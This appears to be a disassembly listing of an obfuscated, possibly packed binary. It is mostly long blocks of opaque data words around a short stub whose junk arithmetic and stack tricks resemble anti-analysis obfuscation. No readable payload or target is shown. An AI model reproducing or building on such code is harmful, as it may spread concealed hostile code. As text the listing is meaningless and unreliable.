dd 6BA75F2Fh, 971A6958h, 8950C642h, 32C14E37h, 92438A06h
dd 49D4035Bh, 608FED0Ah, 0FDAF4CDEh, 0CE722809h, 0EBA5CC5h
dd 2D6DF3F7h, 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh
dd 7F08288Fh, 994CC8Bh, 6DF68D8Dh, 6A064Eh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 8D8971C3h
dd 6481405h, 0C7E2F380h, 48302585h, 687006h, 48C0F00h
dd 66000000h, 0C7459AB8h, 482AD985h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0E991C95Ah, 0EE9F503h, 0AB000000h, 326768B3h, 0FB06A53Ch
dd 3AB5911h, 3DB5FFE4h, 6A064828h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3BE8C351h
dd 0FB2EC55h, 1586h, 10E900h, 76FC0000h, 304CD9h, 0DDA731D2h
dd 6EC1F284h, 95FF0277h, 6480E71h, 95FF006Ah, 648092Dh
dd 3DEBC08Bh, 1C7296B2h, 0B28F4FD1h, 0EAD3E1C2h, 37F381C9h
dd 540D2788h, 0D63E1C11h, 0C446BFBEh, 60F13B84h, 63CAF960h
dd 8897601Eh, 0E537A687h, 92F890F7h, 0A02DE7B2h, 7F7EAF37h
dd 48C9461h, 14E811h, 49CA0000h, 0EFADB250h, 6103D6CDh
dd 2F4FF1B0h, 0FCA19CC9h, 0B589B574h, 648280Dh, 8D89605Eh
dd 64829FDh, 29E78166h, 0C681616Eh, 5DB5h, 6AFAD281h, 0FF33027Dh
dd 9EE38166h, 3E048BBAh, 3860Fh, 0B70F0000h, 0ECF081D1h
dd 8B5DD9F6h, 4801A98Dh, 0E8E88106h, 0B31B0E95h, 29F08168h
dd 0F941C0D8h, 8B3E0489h, 48117595h, 11E906h, 0E0E90000h
dd 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 81620C9Ch, 0BC7D79EFh
dd 81BEB279h, 0BC7D75C7h, 7EEB8179h, 814CDFBEh, 0FFA314FFh
dd 15850FFFh, 8B000000h, 4829058Dh, 21E906h, 195D0000h
dd 61B42056h, 0FDEDA0C3h, 121D9D8Bh, 7AE90648h, 0D7FFFFFFh
dd 94416B5Eh, 1ABC78ACh, 0E890E9ECh, 12h, 0A416FAECh, 6B7A28C1h
dd 1039D00Dh, 9D81CBFBh, 810F2FD5h, 2, 8B5886B1h, 4821C5B5h
dd 0FDC08106h, 2B000074h, 4806118Dh, 0BF06h, 0B58B0000h
dd 64822B5h, 810734FFh, 3192CEEh, 890F5B15h, 6, 0D658D29h
dd 0C3810648h, 19A7426Ch, 0B8E98166h, 3AEB8144h, 92D73C7h
dd 4826D995h, 40C38106h, 892B55E7h, 4817258Dh, 8D8B5306h
dd 6480FE1h, 0E938048Fh, 12h, 4652D2Ah, 3C7ABB08h, 0C05149ADh
dd 0E7433527h, 83F9FA94h, 0B58904EFh, 6482801h, 8BDCFF81h
dd 850FFFFFh, 1Eh, 9C3DEA81h, 2AE907F2h, 0FD000000h, 0A7A57FA2h
dd 4492E231h, 0D54D9F66h, 7A46CD5Fh, 0B5897519h, 6480DC1h
dd 0FFFF67E9h, 48A2FCFFh, 0CFD71EB0h, 0A2CD83E3h, 3A8D8D2Fh
dd 66064E70h, 1D4BDE81h, 14058D89h, 8B530648h, 4801F995h
dd 85C75B06h, 6483025h, 69E4h, 2AD985C7h, 648h, 840F0000h
dd 5, 496BEBFh, 25B5FF4Ah, 0FF06480Eh, 480E7195h, 0F18B6606h
dd 95FF006Ah, 648092Dh, 2BEBC08Bh, 7E837EEBh, 0E7F977EBh
dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh
dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 8DD787DFh, 4E71508Dh
dd 0B19D8906h, 8906480Ch, 4814058Dh, 9E806h, 9A9B0000h
dd 61081AA0h, 0E8054DCFh, 0Fh, 68DEE47Ch, 0E8A395E8h, 31C80006h
dd 0E867A03Dh, 11h, 41543D3Dh, 1A606B2Fh, 0DD851848h, 712CBCAAh
dd 5F5A5AC1h, 302585C7h, 5B9C0648h, 8B660000h, 0D985C7C7h
dd 6482Ah, 52000000h, 19E99D89h, 31580648h, 4829BD9Dh
dd 15B5FF06h, 6A064809h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0BB2EC351h, 0A4E1CD10h
dd 852B098Ah, 6481595h, 2F719D8Bh, 95FF0648h, 6480E71h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F4C35141h
dd 0E715F750h, 6E8BC46h, 0C0000000h, 392105F7h, 29BA6697h
dd 6A5EA7h, 92D95FFh, 0C08B0648h, 8E8919EBh, 0FAE468BAh
dd 50BA26DEh, 85232E9Dh, 0B1A486F6h, 6A8644B2h, 8DA1101Fh
dd 4E72288Dh, 57BF6606h, 0C2B70F77h, 14058D89h, 6A0648h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 9A95D9C3h, 8920DA1Ah, 482B1585h, 2585C706h, 0EC064830h
dd 6A000073h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0BFF4C353h, 0D38A7AFCh, 2AD985C7h
dd 648h, 840F0000h, 0Ch, 68D0Fh, 958B0000h, 6481BADh, 1221B5FFh
dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0FB2A1BC3h, 95FF0265h, 6480E71h, 27958589h
dd 6A0648h, 92D95FFh, 0C08B0648h, 701B3AEBh, 0E4537A40h
dd 0F7BDD407h, 425D04D8h, 0A350C0C4h, 0CDACD735h, 46C759C5h
dd 0D059949Ch, 0BE10A15h, 0CD561CA9h, 0B131F4D7h, 0D1DE7FB5h
dd 0AD4D6739h, 55DEDB30h, 2220B451h, 13E8h, 0FEDFD200h
dd 100B82FDh, 72FFA27Dh, 2CC5DECBh, 2F43BDC8h, 0F5ACA8Bh
dd 1A8Eh, 13E800h, 159A0000h, 866F578Ch, 0EC93DB13h, 0C6106ED0h
dd 0AF94DAB6h, 815EF8F5h, 72B0C2h, 0BE900h, 0F9410000h
dd 4254A8B9h, 4A08AD55h, 89FF339Eh, 4807F59Dh, 3A1C8B06h
dd 8EDBD31h, 0EB810648h, 7C1C6DAh, 0C381D8B4h, 31228205h
dd 0F381CE8Ah, 58D3FED6h, 108D8D01h, 0E9530648h, 11h, 9F7ECF3Ch
dd 0B50FFF15h, 7723C0EDh, 9D9C85A1h, 3A048F82h, 290D8D8Bh
dd 81600648h, 0B2275FF0h, 758D8958h, 61064814h, 0B001EF83h
dd 4F4F4FBFh, 0CFF81F9h, 0FFFFF8Eh, 0FFFF9885h, 6CB966FFh
dd 0E38D8DDBh, 0F064E73h, 0D89h, 8E900h, 9D6D0000h, 7F7D67E9h
dd 0B70FCDD6h, 58D89D8h, 6A064814h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 19A9C357h
dd 0CA8E59BAh, 12DF8172h, 0F3664BCh, 85C7D9BFh, 6483025h
dd 6234h, 85C7DCB7h, 6482AD9h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h
dd 33137EFBh, 0E9680CE2h, 0Ch, 16407C46h, 352B51E2h, 0D67E746Fh
dd 22D5B58Bh, 0B5FF0648h, 6480D3Dh, 0D81B589h, 95FF0648h
dd 6480E71h, 0FF006AF5h, 48092D95h, 0EBC08B06h, 66414D1Bh
dd 57034C72h, 6DB1998Ch, 890B0153h, 0EEFDF228h, 0C0843B09h
dd 807D810h, 5E8h, 3C307800h, 8B50D323h, 482BF99Dh, 0B595806h
dd 4804719Dh, 0D3C18106h, 0E9000066h, 8, 5BB98AB4h, 9284FDE0h
dd 0BFh, 26EB8000h, 0E939148Bh, 7, 0CD20453Ch, 81DEC2F1h
dd 201CB8EAh, 0A5BD8971h, 81064819h, 7B5B3AEAh, 68D0F76h
dd 23000000h, 481B4585h, 84C28106h, 66305C23h, 0E6CCDB81h
dd 0F9391489h, 83F08B66h, 9D0301EFh, 64812EDh, 0F4F4F4Fh
dd 287h, 81C38B00h, 0FF9A00FFh, 1A850FFFh, 8B000000h, 481535B5h
dd 3EE906h, 79610000h, 50A3BD68h, 0D761808Ch, 0A32C2638h
dd 14E871h, 0F2ED0000h, 0DB9B03F0h, 0D163739Bh, 71625F44h
dd 0AC28D3BFh, 0A2B8D0ACh, 5E516403h, 0FFFF63E9h, 6181E7FFh
dd 0C07BAD86h, 86DB78A1h, 12E8h, 7C8A8900h, 10819424h
dd 0DFE46BD3h, 3191E110h, 805B5AA4h, 0F5A44EDh, 481h, 6B96600h
dd 0BC281A3h, 9000059h, 4809458Dh, 161ABE06h, 8B660000h
dd 891A8BCFh, 48053595h, 2AEB8106h, 0E86DEB23h, 8, 4E4AD8DDh
dd 311D1C5Eh, 11E8h, 25CE9200h, 0D7D8409Eh, 968FF3D9h
dd 59865575h, 0B70FCF82h, 815959F9h, 2195E2C3h, 0F3816003h
dd 1D8FC9D5h, 2031858Bh, 81610648h, 74029DC3h, 8B1A8940h
dd 481099BDh, 4EA8306h, 23E98D8Bh, 0EE810648h, 1, 0FF93850Fh
dd 8D8BFFFFh, 6481335h, 11E8h, 61653800h, 0FE23B902h, 509D0A59h
dd 8DE23AA6h, 805F3592h, 0C7814CC9h, 6243h, 68CE8B66h
dd 0
dd 8B5ED98Bh, 48124D9Dh, 37148B06h, 14698D89h, 0C2810648h
dd 0CB53DD2h, 6DC98166h, 7BF2811Eh, 8B455914h, 48166D8Dh
dd 5FEA8106h, 5307D295h, 58C0B70Fh, 8B371489h, 0FEB866DEh
dd 1EE83C3h, 68E0Fh, 0C8810000h, 3EC8CAB7h, 814E4E4Eh
dd 0C2AB1FDBh, 40FE8171h, 0FFFFF9Eh, 0FFFFA885h, 0D8F480FFh
dd 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80782DFFh, 83B42A21h
dd 6F302590h, 863025D6h, 0B79998A7h, 8930235Ah, 8630B48Dh
dd 0CF8DA684h, 86366D46h, 86B4A12Eh, 3F62590h, 80782AB1h
dd 8634CD6Ah, 51702512h, 0D608D4Bh, 0D3401C0h, 0A274AC42h
dd 33CF7D25h, 80781439h, 0F950A0C5h, 56CF236Fh, 3F6D599h
dd 80782AF0h, 8634CDCAh, 51702542h, 0D608D63h, 0D3401D4h
dd 0A274AC48h, 33CF7D20h, 8078215Bh, 0F950A084h, 56CF23CFh
dd 9689DDC9h, 6F302521h, 86302598h, 88B52AEEh, 0CF302524h
dd 33FEC19h, 79CFDAF9h, 8630286Dh, 6ADA842h, 3E366D6Fh
dd 86302595h, 3BBDC6B7h, 807E5333h, 0F0D7A89Fh, 94882347h
dd 0ADB615A1h, 84D9E48Dh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah
dd 80782DFFh, 83B42A21h, 6F302590h, 863025D6h, 0F305E983h
dd 22B9A4h, 0FE80000h, 0FB000000h, 555F6D05h, 2A3DA358h
dd 29CB63CDh, 2B605383h, 481B999Dh, 898D8906h, 6106482Fh
dd 48B0F58h, 66000000h, 81628EBBh, 58A8C0h, 75BF6600h
dd 0FC93337h, 348BD3B7h, 68C0F08h, 8B000000h, 4831959Dh
dd 41F68106h, 0E8265BE4h, 0Eh, 521C8521h, 57458DE7h, 0A3A12D6Eh
dd 81666414h, 5A8338C2h, 431FC681h, 830F605Bh, 2, 0C681FC8Ah
dd 5AB897A1h, 9A58589h, 8F560648h, 95330804h, 64806A9h
dd 0FDDBD89h, 0E9830648h, 0FD958B03h, 4906481Ah, 9ADB529h
dd 0F9810648h, 0FFFFA800h, 0FF8C850Fh, 0EBF5FFFFh, 44070F04h
dd 55CE958h, 0A54C0000h, 50D2CEAAh, 0C45B3755h, 47EFBBD9h
dd 0F6722E4Ah, 257291F3h, 0F090911Dh, 650702A4h, 0EF8D8C29h
dd 573530B3h, 0D395E9FCh, 0E17C72A9h, 0FE85C45Fh, 72FE8AFBh
dd 0E2811D7Fh, 79FA96E7h, 0F57F0D7Ah, 3C2C65F0h, 0F9978C9h
dd 0FDF4832Bh, 0FD8F5E0Dh, 5216686Bh, 9E7624BBh, 5E3A9011h
dd 0E6B2DED5h, 6D24445Bh, 0BAC0F8D6h, 630C7624h, 0AFA24FCBh
dd 1B434338h, 8ECB3E71h, 60FC8B28h, 0A36FC7C2h, 918C131Dh
dd 750283E0h, 74BB60D2h, 0C2AF46D8h, 0C791F601h, 6B43D253h
dd 7625032Dh, 0BA56FCBBh, 4C58383Fh, 9E35A0A7h, 2F1B707h
dd 0B0FF7625h, 2502A6E2h, 0DD753276h, 5E30C7DEh, 7625031Ah
dd 6371D9A6h, 76250322h, 0DACAB12Dh, 0DDE1DE21h, 53FBh
dd 0FE852000h, 7A3C8AFBh, 0D5762432h, 9982A219h, 43DDE10Eh
dd 1, 95E980D8h, 762432D3h, 603086E1h, 5B50C7C2h, 2FB1EF83h
dd 500A24Ch, 20B63774h, 66630193h, 0E6FB7B09h, 33E8A289h
dd 6584BE9h, 76247F42h, 0EC73E18Eh, 841070F1h, 0FB98F8FFh
dd 8BF8F985h, 0DB6D7BF9h, 73F0B1CEh, 0F5D07602h, 7649F484h
dd 69D69839h, 8B704AD0h, 0A4C4C561h, 0D4D153EDh, 6D1A32A7h
dd 5F248D5Eh, 1B9878DEh, 8A1D6F1Ch, 60E1E08Ch, 9F4CFE13h
dd 0E16362A9h, 0C85FF1DDh, 86E975DDh, 32000000h, 8BF8F985h
dd 0EC7B66F9h, 0A0D1D050h, 3C4C6BC3h, 0BCCCBDB4h, 0C14E3F2Ah
dd 0EF8A5E0Dh, 9D1A9BE8h, 0FD27E456h, 4EE57071h, 24333870h
dd 53FB8476h, 27C25E37h, 0FC525320h, 0E091901Ch, 60111090h
dd 6073286Fh, 0FEFD9490h, 0B67567CFh, 0E189759Eh, 46AFDDh
dd 85F40000h, 0F98BF8F9h, 56EA7D7Ch, 0BD46D2B1h, 2A8C9A6h
dd 85802775h, 8BCDA1F4h, 59762432h, 213CC25Eh, 403FB350h
dd 0BB60EA8Bh, 94F4F571h, 0FAFF850Fh, 32783D8Dh, 1BD77624h
dd 0E9B80A4h, 141DDE1h, 0DA000000h, 96E7E285h, 126C79FAh
dd 76243256h, 0F7840562h, 1DA73950h, 4338B218h, 791B0699h
dd 17F29428h, 0DDB11966h, 13AD38E2h, 82E3908Dh, 3C927116h
dd 47540559h, 0E7807C6Ch, 0C56DFF96h, 9AA66CCh, 37E69B0Ah
dd 544D7DBFh, 0FFAB379Fh, 0B2007174h, 7C6C76F4h, 7CA41BD7h
dd 5046E3F7h, 2657D4D3h, 0DDAAA94Ah, 0B2DE5FDCh, 29465DE6h
dd 38CED85Bh, 0C7DFAC2Dh, 55E736F5h, 2421C7ADh, 0E0830FA7h
dd 720E87E5h, 0E283F0F7h, 4ACB304Ch, 6111DBA9h, 8A000001h
dd 23CF7EB9h, 0C050512Eh, 29562722h, 0C8A63DA8h, 76243290h
dd 1AFB535Ch, 4B56E983h, 87D57D3Ah, 7C6C413Eh, 57D198Ah
dd 2F5F9DBBh, 20C3D1AEh, 881EB225h, 91EEE58Eh, 0AF3B9310h
dd 47570F3h, 0FF3CCF74h, 5550D2F3h, 856C4320h, 5D2F7704h
dd 0BAB93AEEh, 22C53EDEh, 4D1FDBA9h, 84000000h, 4ED97BB9h
dd 24338870h, 0DAABD476h, 24334C0Ch, 0F9F87876h, 7C7BF888h
dd 71F26E0Fh, 0D0820572h, 536FD26Bh, 903C78ECh, 24327A3Eh
dd 0B8394676h, 3367512Dh, 8AF57624h, 0C250EEh, 0AB450000h
dd 8401E15h, 0D4762433h, 0E3842AABh, 0F4CA7EB9h, 762432B4h
dd 0DEEF9300h, 0C91DF705h, 0C55CCB48h, 22FF752Eh, 0D5521335h
dd 2478C385h, 0C0961176h, 6C945F92h, 0A7F78E7Ch, 7C6C8FE1h
dd 151093EFh, 787F0494h, 4ED9A6D2h, 878225B7h, 6C8F91D7h
dd 0A4E4BA7Ch, 307C6C8Fh, 0D47A0577h, 2B2ED5A7h, 0D3D65D49h
dd 904F14A2h, 0C6887C6Ch, 4350D319h, 6C902D6Bh, 7FFCBB7Ch
dd 0D882BD1Dh, 3530B34Dh, 0DEB02744h, 7C6C8F9Ah, 24F15926h
dd 0BB07CA4Ah, 0E6821E82h, 0EC2B96E3h, 0BC142C49h, 0B1324E3Fh
dd 9042C5B2h, 58023D2Bh, 8B7D36CDh, 73BAA979h, 2E36A40Ah
dd 0BA7C78CEh, 6A069FFDh, 4063CBCEh, 5D41EC80h, 0C4A5D2D7h
dd 241FEF47h, 0E32CD592h, 46C79005h, 0B275FFCFh, 8A267C72h
dd 898E9F4h, 9A1B6877h, 7A05B51Dh, 0E2F47F0Dh, 0A7C54241h
dd 0DFD252EEh, 0C84935AEh, 202AA06Fh, 1E5A34A3h, 0AA7C72A0h
dd 0EB565CDh, 0EDEC7A0Bh, 0C0DA7D19h, 0E48F550Ah, 27376F2h
dd 0DA71E465h, 615A53A1h, 0F9A9F017h, 0CE68DABFh, 0BCCC620Dh
dd 7C5243E0h, 0CE68DB3Ch, 0DA57116Dh, 1A65CE68h, 0F380016Eh
dd 950001A1h, 1170E31Ch, 1CB22332h, 857AF89Fh, 0B3D1D45Fh
dd 35734BE2h, 83CE68A8h, 21C24EE4h, 0C6B7B231h, 0DB4B38B9h
dd 0Ch, 0E20B8038h, 0FA7B1611h, 2AF1E54Dh, 94E5FC85h, 0B787F04h
dd 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h, 86F7CA6Ah
dd 397655EAh, 0BFCCC96Bh, 124168B9h, 14890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 546Bh
mov [esp], edi
mov ecx, 338E05C7h
xor ecx, 549221DAh
dec ecx
or ecx, 777425AEh
shr ecx, 8
dec ecx
inc ecx
sub ecx, 0FA29045Ch
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebp
mov ebp, ecx
push ebp
pop dword ptr [edi+8]
pop ebp
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_541331
; ---------------------------------------------------------------------------
db 3Bh, 0B8h, 0ACh
dd 3064E7Ch, 15E0FFC5h, 56607AD0h, 9400230Eh, 9B2870EFh
dd 9A6D23EEh, 0A00E7AB0h, 1A2C5D67h, 0E8637203h, 13h, 0B248E4C6h
dd 0C400B2B5h, 8521190Eh, 8DE7521Ch, 0B96E5745h, 163385E6h
dd 4850F5Bh, 66000000h, 818E7CBAh, 6B87C3h, 0FE96000h
dd 8000000h, 0D13B24C1h, 0BEF46EECh, 6643FE4Dh, 0D081851Ch
dd 60990044h, 6861h, 5FFC0000h, 48B25B1h, 0D78B603Bh, 0F08161FCh
dd 2A9977A9h, 14810Fh, 8E80000h, 5A000000h, 579D3BF0h
dd 0F3FB9B6h, 8Fh, 0E8815A00h, 3184F460h, 81F08B66h, 1FF1A8F0h
dd 12E90Bh, 5FFD0000h, 6FDE9525h, 40D7F907h, 0E43A69Bh
dd 8C6892DEh, 0F3B0489h, 0B88h, 6E900h, 44310000h, 0FB370CBFh
dd 0F04EF83h, 1982h, 14E900h, 48A40000h, 0A61DDF2h, 3F767AB5h
dd 0C827DD30h, 0BD1157AEh, 0FF814592h, 0FFFF9558h, 0FF70850Fh
dd 8166FFFFh, 0EB7277D6h, 1329B04h, 595E93Dh, 39B80000h
dd 0A44E5A26h, 30D7C3A1h, 0DB5B3755h, 42EEBAC6h, 0B1062D4Fh
dd 8CECED89h, 0F1938E10h, 7B1918A5h, 0E381842Fh, 47015D70h
dd 957C72B1h, 0FE855033h, 72FE8AFBh, 0E2811D7Fh, 79FA96E7h
dd 0CF51EB7Ah, 2D7F7CD2h, 79138287h, 5857FFFAh, 3EE25911h
dd 9027BEB5h, 24327A3Eh, 91394676h, 1918A5F1h, 8F822F7Bh
dd 64F2A7FEh, 8B67902Fh, 0BF41D179h, 8032D5A2h, 7B9F14DBh
dd 158DB9AFh, 9E1BF75Fh, 9CEDEC88h, 1263660Ch, 0F5971495h
dd 881F1A99h, 7C163813h, 0D63C16h, 8EA2E373h, 0EAAD7624h
dd 0E9C5AE56h, 76248EAFh, 84F5723Dh, 7E0392E7h, 4EBC431h
dd 594F3CAEh, 0DDE1A2A2h, 7D78h, 0FE85A300h, 0C65856E8h
dd 4C2D5ADBh, 6620BECFh, 92762432h, 17651211h, 0BEE5926Fh
dd 68725F0Ch, 0EEDD8C33h, 0D5896EEFh, 0A7C53E16h, 11FDDE1h
dd 84000000h, 0FC000B80h, 1E1CCE34h, 4C5AD8B8h, 5E2FACBBh
dd 9ADEB047h, 267624ADh, 8321F159h, 1B9BE986h, 217D6E15h
dd 7624AD67h, 0FC8D0A75h, 6A413EBFh, 8D24CBB0h, 24AD7731h
dd 943A4576h, 197B7E04h, 6EF0E68Dh, 0E4650273h, 0F985FF84h
dd 7BF98BF8h, 0F773017Eh, 51F785F2h, 0F889BC80h, 7BF832E8h
dd 0B46B270Ah, 0D695E77Fh, 1636602h, 9AEBEE95h, 1D6A790Eh
dd 0AF9946F0h, 0DDE17564h, 62BEh, 0EC80E500h, 2EEA4047h
dd 0A7FE8F82h, 0C36B6E15h, 0A4D5B057h, 0BA6EDD8Dh, 4D593B3Eh
dd 3431B3A1h, 0C8B92647h, 483938B8h, 0CBB8A738h, 413E3BB9h
dd 43984739h, 594F3CAEh, 0DDE110B2h, 3968h, 0F985B300h
dd 7CF98BF8h, 67D35189h, 43C08D00h, 62D99532h, 0A83F32BEh
dd 3DFBBD11h, 0AEC97624h, 85DB7808h, 3D8DFAFFh, 76243278h
dd 80A41BD7h, 0DDE10E9Bh, 141h, 0E285DA00h, 0D23B70E7h
dd 0BEADE62Dh, 0C05AD3Fh, 1B983E7Fh, 9EEFEA89h, 26787D02h
dd 76250B62h, 0F380016Eh, 0B8ECAA4h, 5D5A7625h, 633B38CFh
dd 76250C25h, 677F4B3h, 7BB06F43h, 3BE15E1Ch, 0F3DBB9A4h
dd 3B9302C8h, 7C6D1F8Eh, 39D0A95Ah, 156E6303h, 81133Fh
dd 87822173h, 0F0AA9E5h, 0B7A6E07Eh, 76217C6Ch, 2D5A59DAh
dd 5356DC4Ch, 0F3ED4522h, 4B5FE40Ch, 0DFDCADA8h, 0DD66325Eh
dd 0D65732D5h, 2D28CBD9h, 0ADA44C5Ch, 2C3BCCDCh, 0F9A6145Fh
dd 0C4B5B033h, 15A026A7h, 17ECE19Ch, 0E9A7F4Ah, 9F1C6D78h
dd 12C68537h, 66F69291h, 0DBA917BDh, 14667h, 0B80BC00h
dd 0C2373101h, 2309F6DDh, 6315612Fh, 0C7F04CE2h, 1936E16h
dd 6FE66762h, 6CC2D61Fh, 0F485E27Ch, 0E776E8A1h, 49067782h
dd 0B7B231E1h, 1A776B20h, 49E977BDh, 0F25845DBh, 3A39BAD6h
dd 0B1B43F4Dh, 1BC0BAC0h, 355752D1h, 0A9A07EA5h, 4EA4DBh
dd 0B9FF0000h, 704ED97Bh, 76243388h, 0A03CABD4h, 0DAA001Fh
dd 2432FBBDh, 8D8C2976h, 0E01ACFCh, 0E8572971h, 6DD2E853h
dd 9007BDFBh, 2432CA3Eh, 0C659F376h, 65CDAADBh, 574E2A55h
dd 32AAEEC0h, 5A367624h, 0CFACDDD8h, 0A4CAE84Eh, 49000000h
dd 49DC7EB9h, 6C4EBC75h, 1E6F087Ch, 86E2E182h, 1D6A690Ah
dd 6C4F064Dh, 0CEBD317Ch, 0FE9A991Ah, 0B013A59Eh, 0A22AC424h
dd 16AA3DBAh, 87E49570h, 28FABE10h, 0B9C67C6Dh, 9E2A8411h
dd 0AF82BBA6h, 40B334FAh, 9A22F116h, 0AAA9DE75h, 6414BA3Bh
dd 0FF178C1Bh, 5356D23Ah, 0E751E526h, 0BB55204Fh, 0DF483924h
dd 746F4749h, 5FF77449h, 443530B3h, 0CEA08934h, 762A808Ah
dd 0DBA82956h, 5C2D2CC9h, 2227CD5Fh, 0FFAC1E55h, 2C935F26h
dd 0CA5DFF38h, 86C29C33h, 52762A80h, 0C9DFFD55h, 177C78FEh
dd 0B96B0868h, 7549DC7Eh, 7C72B163h, 0EBB9F6B1h, 45035B48h
dd 937C72B1h, 9CF59714h, 0B0EFA905h, 0B2FD7C72h, 6D5B47C1h
dd 5AD4E1Bh, 9AEBEE95h, 0F5F4710Bh, 33BD7F5Dh, 23B2B7C2h
dd 0DF99F58Ch, 0EDB3262Eh, 2E94D482h, 5C27B326h, 8E2298B8h
dd 1A9D6A2h, 0B64D904Fh, 253CA0D8h, 0D1432CB3h, 42235051h
dd 80872CECh, 0FAFF7B15h, 3A46EC8Dh, 5653D16Bh, 94931080h
dd 0C1C46F01h, 5C5BF3B0h, 90CB749h, 7071F1A1h, 5011ACE5h
dd 7AAFE9C5h, 723DB325h, 0D42F1401h, 9C23717Eh, 9B81C797h
dd 204FB325h, 3DC6D2A3h, 0A8624926h, 9F5B3AF3h, 7C7BF820h
dd 90EE851Ch, 0B3259BD8h, 67339BE4h, 3AA8D9DCh, 0Fh, 0C7FA366Bh
dd 255E5BD9h, 5EF47FF4h, 85DA4145h, 494E5FCh, 790B787Fh
dd 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh
dd 6B397655h, 0B9BFCCC9h, 81E68956h, 4C6h, 4EE8100h, 87000000h
dd 895C2434h, 89522414h, 4C281E2h, 83000000h, 148704EAh
dd 0C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
dd 241C895Ch, 4542BA52h, 54B95DA5h, 29714ABEh, 0E1815AD1h
dd 574028C8h, 0C181D9F7h, 34860B73h, 35E98149h, 541B3765h
dd 83241C8Bh, 0B85004C4h, 8, 0F71E902Dh, 5D80130h, 30F71E90h
dd 8B580889h, 8950241Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h
dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 0FAABE95Ch
dd 0AF8FFFF9h, 0B16C3446h, 0B84C006Ah, 64E8323h, 0E0FFC503h
dd 1DA9D200h, 22A8665Fh, 2CAB84Eh, 32E13A59h, 6B6DE7Ah
dd 5CDD6502h, 7FF0DB24h, 7EC1E7C2h, 1BA5ECD3h, 7D850FDDh
dd 7738A818h, 78B08100h, 3990132Ah, 250A6512h, 85008D8Dh
dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0FA5806C3h, 0F42B6AEAh, 0DE81C25h, 80000000h
dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 8A37F081h, 89586ADCh
dd 4814058Dh, 2585C706h, 78064830h, 0F000065h, 688h, 0BE665300h
dd 0C75FE154h, 482AD985h, 6, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0BF0F5333h
dd 0B5FF5FDFh, 6480D3Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 39C35141h, 800F76AEh, 6, 9456CF81h, 95FF21C4h
dd 6480E71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0C2C35747h, 0A60E3BEBh, 0E100B598h, 6AC8B0h, 92D95FFh
dd 0C08B0648h, 12021BEBh, 0F056A975h, 0B6F34A67h, 0C53CD26Dh
dd 0C0A5CE12h, 9E6DCA2Bh, 7C13D98h, 0CD04EBEBh, 0E93D3A99h
dd 86Bh, 680807AEh, 0D1B3B63Ch, 452722C5h, 0C8A8A949h
dd 335150DCh, 0FF7B4310h, 7C029EFAh, 0EA970361h, 9A197517h
dd 4F66FD9Fh, 72B8397Fh, 6621877Ch, 2432FE47h, 8A892A76h
dd 17B58EEEh, 5C732E80h, 307F7C6Ch, 0B4B53143h, 2A3BB8D4h
dd 6C5D1454h, 46C7A07Ch, 22C25E29h, 3E2BBD2Fh, 7C7BF898h
dd 4605770Fh, 83121192h, 4421300Eh, 268CF83Ch, 0AE09F29Ah
dd 95D3DBA9h, 0BA000000h, 30869D26h, 0EBF98597h, 0DDC85F49h
dd 0D7AEDF5Ch, 10A6A345h, 94E5E480h, 9667904h, 6EFAFF7Bh
dd 0CBBECFC2h, 6BF308F7h, 0FA86AA11h, 42D970E7h, 24332C6Ch
dd 0AFFFB876h, 762432E9h, 1A1F9BF7h, 1D8F0C6Dh, 0AC3C9297h
dd 0E112170Ch, 42CDDDh, 80560000h, 0D24E41ECh, 47245550h
dd 828723EFh, 8FE9A2F5h, 0A1BC42C1h, 87A6D3D0h, 0E3F15995h
dd 762434A2h, 30B24EC1h, 7C239D35h, 9E0908B4h, 99B6202h
dd 65212F63h, 545522A3h, 5054E2FEh, 0B3000000h, 0B157E980h
dd 32C286D4h, 610E7624h, 32E098F6h, 83EC7624h, 0CEC36F2Bh
dd 326521B1h, 0D937624h, 8F116310h, 0CBEE592h, 0AEF9865Fh
dd 3B939612h, 6A16DA81h, 658B0097h, 5B1D7199h, 69762530h
dd 0B5B0750Eh, 3B8D4730h, 9BF749ABh, 800C9733h, 32D395E9h
dd 86E17624h, 0B9635C30h, 0AE00972Eh, 762432EAh, 0E6927116h
dd 4EA33199h, 9A7C6C62h, 82196C1Dh, 6C616C2Ch, 973F787Ch
